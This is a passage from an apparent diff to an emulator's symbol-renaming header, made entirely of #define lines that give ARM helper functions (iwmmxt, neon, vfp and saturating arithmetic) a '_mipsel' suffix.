gen_helper_iwmmxt_maxsl_mipsel +#define gen_helper_iwmmxt_maxsw gen_helper_iwmmxt_maxsw_mipsel +#define gen_helper_iwmmxt_maxub gen_helper_iwmmxt_maxub_mipsel +#define gen_helper_iwmmxt_maxul gen_helper_iwmmxt_maxul_mipsel +#define gen_helper_iwmmxt_maxuw gen_helper_iwmmxt_maxuw_mipsel +#define gen_helper_iwmmxt_minsb gen_helper_iwmmxt_minsb_mipsel +#define gen_helper_iwmmxt_minsl gen_helper_iwmmxt_minsl_mipsel +#define gen_helper_iwmmxt_minsw gen_helper_iwmmxt_minsw_mipsel +#define gen_helper_iwmmxt_minub gen_helper_iwmmxt_minub_mipsel +#define gen_helper_iwmmxt_minul gen_helper_iwmmxt_minul_mipsel +#define gen_helper_iwmmxt_minuw gen_helper_iwmmxt_minuw_mipsel +#define gen_helper_iwmmxt_msbb gen_helper_iwmmxt_msbb_mipsel +#define gen_helper_iwmmxt_msbl gen_helper_iwmmxt_msbl_mipsel +#define gen_helper_iwmmxt_msbw gen_helper_iwmmxt_msbw_mipsel +#define gen_helper_iwmmxt_muladdsl gen_helper_iwmmxt_muladdsl_mipsel +#define gen_helper_iwmmxt_muladdsw gen_helper_iwmmxt_muladdsw_mipsel +#define gen_helper_iwmmxt_muladdswl gen_helper_iwmmxt_muladdswl_mipsel +#define gen_helper_iwmmxt_mulshw gen_helper_iwmmxt_mulshw_mipsel +#define gen_helper_iwmmxt_mulslw gen_helper_iwmmxt_mulslw_mipsel +#define gen_helper_iwmmxt_muluhw gen_helper_iwmmxt_muluhw_mipsel +#define gen_helper_iwmmxt_mululw gen_helper_iwmmxt_mululw_mipsel +#define gen_helper_iwmmxt_packsl gen_helper_iwmmxt_packsl_mipsel +#define gen_helper_iwmmxt_packsq gen_helper_iwmmxt_packsq_mipsel +#define gen_helper_iwmmxt_packsw gen_helper_iwmmxt_packsw_mipsel +#define gen_helper_iwmmxt_packul gen_helper_iwmmxt_packul_mipsel +#define gen_helper_iwmmxt_packuq gen_helper_iwmmxt_packuq_mipsel +#define gen_helper_iwmmxt_packuw gen_helper_iwmmxt_packuw_mipsel +#define gen_helper_iwmmxt_rorl gen_helper_iwmmxt_rorl_mipsel +#define gen_helper_iwmmxt_rorq gen_helper_iwmmxt_rorq_mipsel +#define gen_helper_iwmmxt_rorw gen_helper_iwmmxt_rorw_mipsel +#define gen_helper_iwmmxt_sadb gen_helper_iwmmxt_sadb_mipsel +#define gen_helper_iwmmxt_sadw gen_helper_iwmmxt_sadw_mipsel +#define gen_helper_iwmmxt_setpsr_nz gen_helper_iwmmxt_setpsr_nz_mipsel +#define gen_helper_iwmmxt_shufh gen_helper_iwmmxt_shufh_mipsel +#define gen_helper_iwmmxt_slll gen_helper_iwmmxt_slll_mipsel +#define gen_helper_iwmmxt_sllq gen_helper_iwmmxt_sllq_mipsel +#define gen_helper_iwmmxt_sllw gen_helper_iwmmxt_sllw_mipsel +#define gen_helper_iwmmxt_sral gen_helper_iwmmxt_sral_mipsel +#define gen_helper_iwmmxt_sraq gen_helper_iwmmxt_sraq_mipsel +#define gen_helper_iwmmxt_sraw gen_helper_iwmmxt_sraw_mipsel +#define gen_helper_iwmmxt_srll gen_helper_iwmmxt_srll_mipsel +#define gen_helper_iwmmxt_srlq gen_helper_iwmmxt_srlq_mipsel +#define gen_helper_iwmmxt_srlw gen_helper_iwmmxt_srlw_mipsel +#define gen_helper_iwmmxt_subnb gen_helper_iwmmxt_subnb_mipsel +#define gen_helper_iwmmxt_subnl gen_helper_iwmmxt_subnl_mipsel +#define gen_helper_iwmmxt_subnw gen_helper_iwmmxt_subnw_mipsel +#define gen_helper_iwmmxt_subsb gen_helper_iwmmxt_subsb_mipsel +#define gen_helper_iwmmxt_subsl gen_helper_iwmmxt_subsl_mipsel +#define gen_helper_iwmmxt_subsw gen_helper_iwmmxt_subsw_mipsel +#define gen_helper_iwmmxt_subub gen_helper_iwmmxt_subub_mipsel +#define gen_helper_iwmmxt_subul gen_helper_iwmmxt_subul_mipsel +#define gen_helper_iwmmxt_subuw gen_helper_iwmmxt_subuw_mipsel +#define gen_helper_iwmmxt_unpackhb gen_helper_iwmmxt_unpackhb_mipsel +#define gen_helper_iwmmxt_unpackhl gen_helper_iwmmxt_unpackhl_mipsel +#define gen_helper_iwmmxt_unpackhsb gen_helper_iwmmxt_unpackhsb_mipsel +#define gen_helper_iwmmxt_unpackhsl gen_helper_iwmmxt_unpackhsl_mipsel +#define gen_helper_iwmmxt_unpackhsw gen_helper_iwmmxt_unpackhsw_mipsel +#define gen_helper_iwmmxt_unpackhub gen_helper_iwmmxt_unpackhub_mipsel +#define gen_helper_iwmmxt_unpackhul gen_helper_iwmmxt_unpackhul_mipsel +#define gen_helper_iwmmxt_unpackhuw gen_helper_iwmmxt_unpackhuw_mipsel +#define gen_helper_iwmmxt_unpackhw gen_helper_iwmmxt_unpackhw_mipsel +#define gen_helper_iwmmxt_unpacklb gen_helper_iwmmxt_unpacklb_mipsel +#define gen_helper_iwmmxt_unpackll gen_helper_iwmmxt_unpackll_mipsel +#define gen_helper_iwmmxt_unpacklsb gen_helper_iwmmxt_unpacklsb_mipsel +#define gen_helper_iwmmxt_unpacklsl gen_helper_iwmmxt_unpacklsl_mipsel +#define gen_helper_iwmmxt_unpacklsw gen_helper_iwmmxt_unpacklsw_mipsel +#define gen_helper_iwmmxt_unpacklub gen_helper_iwmmxt_unpacklub_mipsel +#define gen_helper_iwmmxt_unpacklul gen_helper_iwmmxt_unpacklul_mipsel +#define gen_helper_iwmmxt_unpackluw gen_helper_iwmmxt_unpackluw_mipsel +#define gen_helper_iwmmxt_unpacklw gen_helper_iwmmxt_unpacklw_mipsel +#define gen_helper_neon_abd_f32 gen_helper_neon_abd_f32_mipsel +#define gen_helper_neon_abdl_s16 gen_helper_neon_abdl_s16_mipsel +#define gen_helper_neon_abdl_s32 gen_helper_neon_abdl_s32_mipsel +#define gen_helper_neon_abdl_s64 gen_helper_neon_abdl_s64_mipsel +#define gen_helper_neon_abdl_u16 gen_helper_neon_abdl_u16_mipsel +#define gen_helper_neon_abdl_u32 gen_helper_neon_abdl_u32_mipsel +#define gen_helper_neon_abdl_u64 gen_helper_neon_abdl_u64_mipsel +#define gen_helper_neon_abd_s16 gen_helper_neon_abd_s16_mipsel +#define gen_helper_neon_abd_s32 gen_helper_neon_abd_s32_mipsel +#define gen_helper_neon_abd_s8 gen_helper_neon_abd_s8_mipsel +#define gen_helper_neon_abd_u16 gen_helper_neon_abd_u16_mipsel +#define gen_helper_neon_abd_u32 gen_helper_neon_abd_u32_mipsel +#define gen_helper_neon_abd_u8 gen_helper_neon_abd_u8_mipsel +#define gen_helper_neon_abs_s16 gen_helper_neon_abs_s16_mipsel +#define gen_helper_neon_abs_s8 gen_helper_neon_abs_s8_mipsel +#define gen_helper_neon_acge_f32 gen_helper_neon_acge_f32_mipsel +#define gen_helper_neon_acgt_f32 gen_helper_neon_acgt_f32_mipsel +#define gen_helper_neon_addl_saturate_s32 gen_helper_neon_addl_saturate_s32_mipsel +#define gen_helper_neon_addl_saturate_s64 gen_helper_neon_addl_saturate_s64_mipsel +#define gen_helper_neon_addl_u16 gen_helper_neon_addl_u16_mipsel +#define gen_helper_neon_addl_u32 gen_helper_neon_addl_u32_mipsel +#define gen_helper_neon_add_u16 gen_helper_neon_add_u16_mipsel +#define gen_helper_neon_add_u8 gen_helper_neon_add_u8_mipsel +#define gen_helper_neon_ceq_f32 gen_helper_neon_ceq_f32_mipsel +#define gen_helper_neon_ceq_u16 gen_helper_neon_ceq_u16_mipsel +#define gen_helper_neon_ceq_u32 gen_helper_neon_ceq_u32_mipsel +#define gen_helper_neon_ceq_u8 gen_helper_neon_ceq_u8_mipsel +#define gen_helper_neon_cge_f32 gen_helper_neon_cge_f32_mipsel +#define gen_helper_neon_cge_s16 gen_helper_neon_cge_s16_mipsel +#define gen_helper_neon_cge_s32 gen_helper_neon_cge_s32_mipsel +#define gen_helper_neon_cge_s8 gen_helper_neon_cge_s8_mipsel +#define gen_helper_neon_cge_u16 gen_helper_neon_cge_u16_mipsel +#define gen_helper_neon_cge_u32 gen_helper_neon_cge_u32_mipsel +#define gen_helper_neon_cge_u8 gen_helper_neon_cge_u8_mipsel +#define gen_helper_neon_cgt_f32 gen_helper_neon_cgt_f32_mipsel +#define gen_helper_neon_cgt_s16 gen_helper_neon_cgt_s16_mipsel +#define gen_helper_neon_cgt_s32 gen_helper_neon_cgt_s32_mipsel +#define gen_helper_neon_cgt_s8 gen_helper_neon_cgt_s8_mipsel +#define gen_helper_neon_cgt_u16 gen_helper_neon_cgt_u16_mipsel +#define gen_helper_neon_cgt_u32 gen_helper_neon_cgt_u32_mipsel +#define gen_helper_neon_cgt_u8 gen_helper_neon_cgt_u8_mipsel +#define gen_helper_neon_cls_s16 gen_helper_neon_cls_s16_mipsel +#define gen_helper_neon_cls_s32 gen_helper_neon_cls_s32_mipsel +#define gen_helper_neon_cls_s8 gen_helper_neon_cls_s8_mipsel +#define gen_helper_neon_clz_u16 gen_helper_neon_clz_u16_mipsel +#define gen_helper_neon_clz_u8 gen_helper_neon_clz_u8_mipsel +#define gen_helper_neon_cnt_u8 gen_helper_neon_cnt_u8_mipsel +#define gen_helper_neon_fcvt_f16_to_f32 gen_helper_neon_fcvt_f16_to_f32_mipsel +#define gen_helper_neon_fcvt_f32_to_f16 gen_helper_neon_fcvt_f32_to_f16_mipsel +#define gen_helper_neon_hadd_s16 gen_helper_neon_hadd_s16_mipsel +#define gen_helper_neon_hadd_s32 gen_helper_neon_hadd_s32_mipsel +#define gen_helper_neon_hadd_s8 gen_helper_neon_hadd_s8_mipsel +#define gen_helper_neon_hadd_u16 gen_helper_neon_hadd_u16_mipsel +#define gen_helper_neon_hadd_u32 gen_helper_neon_hadd_u32_mipsel +#define gen_helper_neon_hadd_u8 gen_helper_neon_hadd_u8_mipsel +#define gen_helper_neon_hsub_s16 gen_helper_neon_hsub_s16_mipsel +#define gen_helper_neon_hsub_s32 gen_helper_neon_hsub_s32_mipsel +#define gen_helper_neon_hsub_s8 gen_helper_neon_hsub_s8_mipsel +#define gen_helper_neon_hsub_u16 gen_helper_neon_hsub_u16_mipsel +#define gen_helper_neon_hsub_u32 gen_helper_neon_hsub_u32_mipsel +#define gen_helper_neon_hsub_u8 gen_helper_neon_hsub_u8_mipsel +#define gen_helper_neon_max_s16 gen_helper_neon_max_s16_mipsel +#define gen_helper_neon_max_s32 gen_helper_neon_max_s32_mipsel +#define gen_helper_neon_max_s8 gen_helper_neon_max_s8_mipsel +#define gen_helper_neon_max_u16 gen_helper_neon_max_u16_mipsel +#define gen_helper_neon_max_u32 gen_helper_neon_max_u32_mipsel +#define gen_helper_neon_max_u8 gen_helper_neon_max_u8_mipsel +#define gen_helper_neon_min_s16 gen_helper_neon_min_s16_mipsel +#define gen_helper_neon_min_s32 gen_helper_neon_min_s32_mipsel +#define gen_helper_neon_min_s8 gen_helper_neon_min_s8_mipsel +#define gen_helper_neon_min_u16 gen_helper_neon_min_u16_mipsel +#define gen_helper_neon_min_u32 gen_helper_neon_min_u32_mipsel +#define gen_helper_neon_min_u8 gen_helper_neon_min_u8_mipsel +#define gen_helper_neon_mull_p8 gen_helper_neon_mull_p8_mipsel +#define gen_helper_neon_mull_s16 gen_helper_neon_mull_s16_mipsel +#define gen_helper_neon_mull_s8 gen_helper_neon_mull_s8_mipsel +#define gen_helper_neon_mull_u16 gen_helper_neon_mull_u16_mipsel +#define gen_helper_neon_mull_u8 gen_helper_neon_mull_u8_mipsel +#define gen_helper_neon_mul_p8 gen_helper_neon_mul_p8_mipsel +#define gen_helper_neon_mul_u16 gen_helper_neon_mul_u16_mipsel +#define gen_helper_neon_mul_u8 gen_helper_neon_mul_u8_mipsel +#define gen_helper_neon_narrow_high_u16 gen_helper_neon_narrow_high_u16_mipsel +#define gen_helper_neon_narrow_high_u8 gen_helper_neon_narrow_high_u8_mipsel +#define gen_helper_neon_narrow_round_high_u16 gen_helper_neon_narrow_round_high_u16_mipsel +#define gen_helper_neon_narrow_round_high_u8 gen_helper_neon_narrow_round_high_u8_mipsel +#define gen_helper_neon_narrow_sat_s16 gen_helper_neon_narrow_sat_s16_mipsel +#define gen_helper_neon_narrow_sat_s32 gen_helper_neon_narrow_sat_s32_mipsel +#define gen_helper_neon_narrow_sat_s8 gen_helper_neon_narrow_sat_s8_mipsel +#define gen_helper_neon_narrow_sat_u16 gen_helper_neon_narrow_sat_u16_mipsel +#define gen_helper_neon_narrow_sat_u32 gen_helper_neon_narrow_sat_u32_mipsel +#define gen_helper_neon_narrow_sat_u8 gen_helper_neon_narrow_sat_u8_mipsel +#define gen_helper_neon_narrow_u16 gen_helper_neon_narrow_u16_mipsel +#define gen_helper_neon_narrow_u8 gen_helper_neon_narrow_u8_mipsel +#define gen_helper_neon_negl_u16 gen_helper_neon_negl_u16_mipsel +#define gen_helper_neon_negl_u32 gen_helper_neon_negl_u32_mipsel +#define gen_helper_neon_paddl_u16 gen_helper_neon_paddl_u16_mipsel +#define gen_helper_neon_paddl_u32 gen_helper_neon_paddl_u32_mipsel +#define gen_helper_neon_padd_u16 gen_helper_neon_padd_u16_mipsel +#define gen_helper_neon_padd_u8 gen_helper_neon_padd_u8_mipsel +#define gen_helper_neon_pmax_s16 gen_helper_neon_pmax_s16_mipsel +#define gen_helper_neon_pmax_s8 gen_helper_neon_pmax_s8_mipsel +#define gen_helper_neon_pmax_u16 gen_helper_neon_pmax_u16_mipsel +#define gen_helper_neon_pmax_u8 gen_helper_neon_pmax_u8_mipsel +#define gen_helper_neon_pmin_s16 gen_helper_neon_pmin_s16_mipsel +#define gen_helper_neon_pmin_s8 gen_helper_neon_pmin_s8_mipsel +#define gen_helper_neon_pmin_u16 gen_helper_neon_pmin_u16_mipsel +#define gen_helper_neon_pmin_u8 gen_helper_neon_pmin_u8_mipsel +#define gen_helper_neon_pmull_64_hi gen_helper_neon_pmull_64_hi_mipsel +#define gen_helper_neon_pmull_64_lo gen_helper_neon_pmull_64_lo_mipsel +#define gen_helper_neon_qabs_s16 gen_helper_neon_qabs_s16_mipsel +#define gen_helper_neon_qabs_s32 gen_helper_neon_qabs_s32_mipsel +#define gen_helper_neon_qabs_s8 gen_helper_neon_qabs_s8_mipsel +#define gen_helper_neon_qadd_s16 gen_helper_neon_qadd_s16_mipsel +#define gen_helper_neon_qadd_s32 gen_helper_neon_qadd_s32_mipsel +#define gen_helper_neon_qadd_s64 gen_helper_neon_qadd_s64_mipsel +#define gen_helper_neon_qadd_s8 gen_helper_neon_qadd_s8_mipsel +#define gen_helper_neon_qadd_u16 gen_helper_neon_qadd_u16_mipsel +#define gen_helper_neon_qadd_u32 gen_helper_neon_qadd_u32_mipsel +#define gen_helper_neon_qadd_u64 gen_helper_neon_qadd_u64_mipsel +#define gen_helper_neon_qadd_u8 gen_helper_neon_qadd_u8_mipsel +#define gen_helper_neon_qdmulh_s16 gen_helper_neon_qdmulh_s16_mipsel +#define gen_helper_neon_qdmulh_s32 gen_helper_neon_qdmulh_s32_mipsel +#define gen_helper_neon_qneg_s16 gen_helper_neon_qneg_s16_mipsel +#define gen_helper_neon_qneg_s32 gen_helper_neon_qneg_s32_mipsel +#define gen_helper_neon_qneg_s8 gen_helper_neon_qneg_s8_mipsel +#define gen_helper_neon_qrdmulh_s16 gen_helper_neon_qrdmulh_s16_mipsel +#define gen_helper_neon_qrdmulh_s32 gen_helper_neon_qrdmulh_s32_mipsel +#define gen_helper_neon_qrshl_s16 gen_helper_neon_qrshl_s16_mipsel +#define gen_helper_neon_qrshl_s32 gen_helper_neon_qrshl_s32_mipsel +#define gen_helper_neon_qrshl_s64 gen_helper_neon_qrshl_s64_mipsel +#define gen_helper_neon_qrshl_s8 gen_helper_neon_qrshl_s8_mipsel +#define gen_helper_neon_qrshl_u16 gen_helper_neon_qrshl_u16_mipsel +#define gen_helper_neon_qrshl_u32 gen_helper_neon_qrshl_u32_mipsel +#define gen_helper_neon_qrshl_u64 gen_helper_neon_qrshl_u64_mipsel +#define gen_helper_neon_qrshl_u8 gen_helper_neon_qrshl_u8_mipsel +#define gen_helper_neon_qshl_s16 gen_helper_neon_qshl_s16_mipsel +#define gen_helper_neon_qshl_s32 gen_helper_neon_qshl_s32_mipsel +#define gen_helper_neon_qshl_s64 gen_helper_neon_qshl_s64_mipsel +#define gen_helper_neon_qshl_s8 gen_helper_neon_qshl_s8_mipsel +#define gen_helper_neon_qshl_u16 gen_helper_neon_qshl_u16_mipsel +#define gen_helper_neon_qshl_u32 gen_helper_neon_qshl_u32_mipsel +#define gen_helper_neon_qshl_u64 gen_helper_neon_qshl_u64_mipsel +#define gen_helper_neon_qshl_u8 gen_helper_neon_qshl_u8_mipsel +#define gen_helper_neon_qshlu_s16 gen_helper_neon_qshlu_s16_mipsel +#define gen_helper_neon_qshlu_s32 gen_helper_neon_qshlu_s32_mipsel +#define gen_helper_neon_qshlu_s64 gen_helper_neon_qshlu_s64_mipsel +#define gen_helper_neon_qshlu_s8 gen_helper_neon_qshlu_s8_mipsel +#define gen_helper_neon_qsub_s16 gen_helper_neon_qsub_s16_mipsel +#define gen_helper_neon_qsub_s32 gen_helper_neon_qsub_s32_mipsel +#define gen_helper_neon_qsub_s64 gen_helper_neon_qsub_s64_mipsel +#define gen_helper_neon_qsub_s8 gen_helper_neon_qsub_s8_mipsel +#define gen_helper_neon_qsub_u16 gen_helper_neon_qsub_u16_mipsel +#define gen_helper_neon_qsub_u32 gen_helper_neon_qsub_u32_mipsel +#define gen_helper_neon_qsub_u64 gen_helper_neon_qsub_u64_mipsel +#define gen_helper_neon_qsub_u8 gen_helper_neon_qsub_u8_mipsel +#define gen_helper_neon_qunzip16 gen_helper_neon_qunzip16_mipsel +#define gen_helper_neon_qunzip32 gen_helper_neon_qunzip32_mipsel +#define gen_helper_neon_qunzip8 gen_helper_neon_qunzip8_mipsel +#define gen_helper_neon_qzip16 gen_helper_neon_qzip16_mipsel +#define gen_helper_neon_qzip32 gen_helper_neon_qzip32_mipsel +#define gen_helper_neon_qzip8 gen_helper_neon_qzip8_mipsel +#define gen_helper_neon_rhadd_s16 gen_helper_neon_rhadd_s16_mipsel +#define gen_helper_neon_rhadd_s32 gen_helper_neon_rhadd_s32_mipsel +#define gen_helper_neon_rhadd_s8 gen_helper_neon_rhadd_s8_mipsel +#define gen_helper_neon_rhadd_u16 gen_helper_neon_rhadd_u16_mipsel +#define gen_helper_neon_rhadd_u32 gen_helper_neon_rhadd_u32_mipsel +#define gen_helper_neon_rhadd_u8 gen_helper_neon_rhadd_u8_mipsel +#define gen_helper_neon_rshl_s16 gen_helper_neon_rshl_s16_mipsel +#define gen_helper_neon_rshl_s32 gen_helper_neon_rshl_s32_mipsel +#define gen_helper_neon_rshl_s64 gen_helper_neon_rshl_s64_mipsel +#define gen_helper_neon_rshl_s8 gen_helper_neon_rshl_s8_mipsel +#define gen_helper_neon_rshl_u16 gen_helper_neon_rshl_u16_mipsel +#define gen_helper_neon_rshl_u32 gen_helper_neon_rshl_u32_mipsel +#define gen_helper_neon_rshl_u64 gen_helper_neon_rshl_u64_mipsel +#define gen_helper_neon_rshl_u8 gen_helper_neon_rshl_u8_mipsel +#define gen_helper_neon_shl_s16 gen_helper_neon_shl_s16_mipsel +#define gen_helper_neon_shl_s32 gen_helper_neon_shl_s32_mipsel +#define gen_helper_neon_shl_s64 gen_helper_neon_shl_s64_mipsel +#define gen_helper_neon_shl_s8 gen_helper_neon_shl_s8_mipsel +#define gen_helper_neon_shl_u16 gen_helper_neon_shl_u16_mipsel +#define gen_helper_neon_shl_u32 gen_helper_neon_shl_u32_mipsel +#define gen_helper_neon_shl_u64 gen_helper_neon_shl_u64_mipsel +#define gen_helper_neon_shl_u8 gen_helper_neon_shl_u8_mipsel +#define gen_helper_neon_subl_u16 gen_helper_neon_subl_u16_mipsel +#define gen_helper_neon_subl_u32 gen_helper_neon_subl_u32_mipsel +#define gen_helper_neon_sub_u16 gen_helper_neon_sub_u16_mipsel +#define gen_helper_neon_sub_u8 gen_helper_neon_sub_u8_mipsel +#define gen_helper_neon_tbl gen_helper_neon_tbl_mipsel +#define gen_helper_neon_tst_u16 gen_helper_neon_tst_u16_mipsel +#define gen_helper_neon_tst_u32 gen_helper_neon_tst_u32_mipsel +#define gen_helper_neon_tst_u8 gen_helper_neon_tst_u8_mipsel +#define gen_helper_neon_unarrow_sat16 gen_helper_neon_unarrow_sat16_mipsel +#define gen_helper_neon_unarrow_sat32 gen_helper_neon_unarrow_sat32_mipsel +#define gen_helper_neon_unarrow_sat8 gen_helper_neon_unarrow_sat8_mipsel +#define gen_helper_neon_unzip16 gen_helper_neon_unzip16_mipsel +#define gen_helper_neon_unzip8 gen_helper_neon_unzip8_mipsel +#define gen_helper_neon_widen_s16 gen_helper_neon_widen_s16_mipsel +#define gen_helper_neon_widen_s8 gen_helper_neon_widen_s8_mipsel +#define gen_helper_neon_widen_u16 gen_helper_neon_widen_u16_mipsel +#define gen_helper_neon_widen_u8 gen_helper_neon_widen_u8_mipsel +#define gen_helper_neon_zip16 gen_helper_neon_zip16_mipsel +#define gen_helper_neon_zip8 gen_helper_neon_zip8_mipsel +#define gen_helper_pre_hvc gen_helper_pre_hvc_mipsel +#define gen_helper_pre_smc gen_helper_pre_smc_mipsel +#define gen_helper_qadd16 gen_helper_qadd16_mipsel +#define gen_helper_qadd8 gen_helper_qadd8_mipsel +#define gen_helper_qaddsubx gen_helper_qaddsubx_mipsel +#define gen_helper_qsub16 gen_helper_qsub16_mipsel +#define gen_helper_qsub8 gen_helper_qsub8_mipsel +#define gen_helper_qsubaddx gen_helper_qsubaddx_mipsel +#define gen_helper_rbit gen_helper_rbit_mipsel +#define gen_helper_recpe_f32 gen_helper_recpe_f32_mipsel +#define gen_helper_recpe_u32 gen_helper_recpe_u32_mipsel +#define gen_helper_recps_f32 gen_helper_recps_f32_mipsel +#define gen_helper_rintd gen_helper_rintd_mipsel +#define gen_helper_rintd_exact gen_helper_rintd_exact_mipsel +#define gen_helper_rints gen_helper_rints_mipsel +#define gen_helper_rints_exact gen_helper_rints_exact_mipsel +#define gen_helper_ror_cc gen_helper_ror_cc_mipsel +#define gen_helper_rsqrte_f32 gen_helper_rsqrte_f32_mipsel +#define gen_helper_rsqrte_u32 gen_helper_rsqrte_u32_mipsel +#define gen_helper_rsqrts_f32 gen_helper_rsqrts_f32_mipsel +#define gen_helper_sadd16 gen_helper_sadd16_mipsel +#define gen_helper_sadd8 gen_helper_sadd8_mipsel +#define gen_helper_saddsubx gen_helper_saddsubx_mipsel +#define gen_helper_sar_cc gen_helper_sar_cc_mipsel +#define gen_helper_sdiv gen_helper_sdiv_mipsel +#define gen_helper_sel_flags gen_helper_sel_flags_mipsel +#define gen_helper_set_cp_reg gen_helper_set_cp_reg_mipsel +#define gen_helper_set_cp_reg64 gen_helper_set_cp_reg64_mipsel +#define gen_helper_set_neon_rmode gen_helper_set_neon_rmode_mipsel +#define gen_helper_set_r13_banked gen_helper_set_r13_banked_mipsel +#define gen_helper_set_rmode gen_helper_set_rmode_mipsel +#define gen_helper_set_user_reg gen_helper_set_user_reg_mipsel +#define gen_helper_shadd16 gen_helper_shadd16_mipsel +#define gen_helper_shadd8 gen_helper_shadd8_mipsel +#define gen_helper_shaddsubx gen_helper_shaddsubx_mipsel +#define gen_helper_shl_cc gen_helper_shl_cc_mipsel +#define gen_helper_shr_cc gen_helper_shr_cc_mipsel +#define gen_helper_shsub16 gen_helper_shsub16_mipsel +#define gen_helper_shsub8 gen_helper_shsub8_mipsel +#define gen_helper_shsubaddx gen_helper_shsubaddx_mipsel +#define gen_helper_ssat gen_helper_ssat_mipsel +#define gen_helper_ssat16 gen_helper_ssat16_mipsel +#define gen_helper_ssub16 gen_helper_ssub16_mipsel +#define gen_helper_ssub8 gen_helper_ssub8_mipsel +#define gen_helper_ssubaddx gen_helper_ssubaddx_mipsel +#define gen_helper_sub_saturate gen_helper_sub_saturate_mipsel +#define gen_helper_sxtb16 gen_helper_sxtb16_mipsel +#define gen_helper_uadd16 gen_helper_uadd16_mipsel +#define gen_helper_uadd8 gen_helper_uadd8_mipsel +#define gen_helper_uaddsubx gen_helper_uaddsubx_mipsel +#define gen_helper_udiv gen_helper_udiv_mipsel +#define gen_helper_uhadd16 gen_helper_uhadd16_mipsel +#define gen_helper_uhadd8 gen_helper_uhadd8_mipsel +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_mipsel +#define gen_helper_uhsub16 gen_helper_uhsub16_mipsel +#define gen_helper_uhsub8 gen_helper_uhsub8_mipsel +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_mipsel +#define gen_helper_uqadd16 gen_helper_uqadd16_mipsel +#define gen_helper_uqadd8 gen_helper_uqadd8_mipsel +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_mipsel +#define gen_helper_uqsub16 gen_helper_uqsub16_mipsel +#define gen_helper_uqsub8 gen_helper_uqsub8_mipsel +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_mipsel +#define gen_helper_usad8 gen_helper_usad8_mipsel +#define gen_helper_usat gen_helper_usat_mipsel +#define gen_helper_usat16 gen_helper_usat16_mipsel +#define gen_helper_usub16 gen_helper_usub16_mipsel +#define gen_helper_usub8 gen_helper_usub8_mipsel +#define gen_helper_usubaddx gen_helper_usubaddx_mipsel +#define gen_helper_uxtb16 gen_helper_uxtb16_mipsel +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_mipsel +#define gen_helper_v7m_msr gen_helper_v7m_msr_mipsel +#define gen_helper_vfp_absd gen_helper_vfp_absd_mipsel +#define gen_helper_vfp_abss gen_helper_vfp_abss_mipsel +#define gen_helper_vfp_addd gen_helper_vfp_addd_mipsel +#define gen_helper_vfp_adds gen_helper_vfp_adds_mipsel +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_mipsel +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_mipsel +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_mipsel +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_mipsel +#define gen_helper_vfp_divd gen_helper_vfp_divd_mipsel +#define gen_helper_vfp_divs gen_helper_vfp_divs_mipsel +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_mipsel +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_mipsel +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_mipsel +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_mipsel +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_mipsel +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_mipsel +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_mipsel +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_mipsel +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_mipsel +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_mipsel +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_mipsel +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_mipsel +#define gen_helper_vfp_mins gen_helper_vfp_mins_mipsel +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_mipsel +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_mipsel +#define gen_helper_vfp_muld gen_helper_vfp_muld_mipsel +#define gen_helper_vfp_muls gen_helper_vfp_muls_mipsel +#define gen_helper_vfp_negd gen_helper_vfp_negd_mipsel +#define gen_helper_vfp_negs gen_helper_vfp_negs_mipsel +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_mipsel +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_mipsel +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_mipsel +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_mipsel +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_mipsel +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_mipsel +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_mipsel +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_mipsel +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_mipsel +#define gen_helper_vfp_subd gen_helper_vfp_subd_mipsel +#define gen_helper_vfp_subs gen_helper_vfp_subs_mipsel +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_mipsel +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_mipsel +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_mipsel +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_mipsel +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_mipsel +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_mipsel +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_mipsel +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_mipsel +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_mipsel +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_mipsel +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_mipsel +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_mipsel +#define gen_helper_vfp_touid gen_helper_vfp_touid_mipsel +#define gen_helper_vfp_touis gen_helper_vfp_touis_mipsel +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_mipsel +#define gen_helper_vfp_touizs 